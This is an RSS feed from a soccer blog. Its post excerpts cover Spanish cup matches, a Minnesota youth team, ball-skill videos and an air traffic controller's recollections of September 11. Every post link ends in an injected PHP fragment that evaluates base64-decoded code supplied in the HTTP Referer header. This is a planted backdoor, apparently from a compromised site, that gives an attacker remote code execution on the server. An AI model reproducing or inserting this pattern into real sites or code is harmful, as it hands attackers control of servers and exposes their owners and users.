http://www.therealfootball.com the thinking man's sport Fri, 15 Jan 2010 09:14:00 +0000 http://backend.userland.com/rss092 en Nothing like a cup match for excitement at the stadium. Atletico were down 0-3 after the first leg, so they needed to score goals, as well as keep Recreativo out of the scoring. Well, Atletico got their three goals, and then were gifted an own goal to make it 4-0, ... http://www.therealfootball.com/2010/01/15/simao-saves-the-day-for-atletico/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ [caption id="attachment_123" align="aligncenter" width="560" caption="mta 93B at Creighton University in Omaha"][/caption] Front row:  Kevin Gjersvig, David Zalk, Adam Mohomed, Ben Cherrey, Miles Stockman-Willis, Dylan Xiong Back row: Coach Jim Niemann, Nick Forsgren, Cole Erickson, Eric Miller, Gerald Ben, Maliq Hunsberger, Devin Tomson-Moylan, Ryan Onwukwe, Atli Einarsson, John Pitsenbarger, Coach Eric Singer. Not pictured: ... http://www.therealfootball.com/2009/11/17/mta-93b-kickoff-season-with-trip-to-omaha/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ There are many very good videos out there that show skills and tricks on the soccer field. I thought I would share one that I came across on youtube - it shows many of today's stars and how they apply their cute touches on the ball in a game. ... http://www.therealfootball.com/2009/10/28/ball-skills-and-tricks-in-the-game/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Here is an interesting occurrence from a game in Europe not long ago. Costin Lazar, a player from Rapid Bucharest, was tackled in his opponents penalty area. The referee determined that it was an unfair challenged, called the foul, and awarded Rapid a penalty kick. Have a ... http://www.therealfootball.com/2009/10/28/fair-play-player-refuses-penalty-kick/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Certainly the goal that the US scored in stoppage time to tie Costa Rica last night was big for US Soccer, but check out the video/audio below to learn of the excitement created for the country of Honduras! This is not able to be embedded, so just copy and ... http://www.therealfootball.com/2009/10/15/excitement-for-honduras/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, this is predominantly a soccer site, so I guess I should get back to a little bit of soccer. This weekend, my U18 team had the chance to play our local pro team, the Minnesota Thunder. The Thunder play in USL division 1, while the U18s play in the ... http://www.therealfootball.com/2009/03/31/mta-91-blue-vs-thunder/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ To best understand this part of the story, a primer about air traffic control centers might be in order. Go to the ATC page to get an idea of what Air Route Traffic Control Centers are about. Our facility has six areas, and spans from western North Dakota to ... http://www.therealfootball.com/2009/03/26/911-the-work-begins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ As air traffic controllers, we are trained and practiced at handling situations efficiently and safely, no matter how tricky the situation might be. We tend to de-emotionalize the situation to do this effectively. On September 11, 2001, this was easier said than done. Among the first thoughts that rushed ... http://www.therealfootball.com/2009/03/26/911-emotion-first-hits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ So, there I was, sitting in our break room, dumbfounded, not believing what I had just heard. Had we just suffered an attack on our own soil? I got up off the couch, my co-workers watching my dazed and crazed walk to my computer. This is how I got ... http://www.therealfootball.com/2009/03/18/911-part-deux-the-realization/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ September 11, 2001, was certainly a day that left a strong imprint on the minds of many in the United States. I am no exception, and would like to share some of my experiences from that day with you. There is much to share from that day, so ... http://www.therealfootball.com/2009/03/14/september-11-2001-the-beginning/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/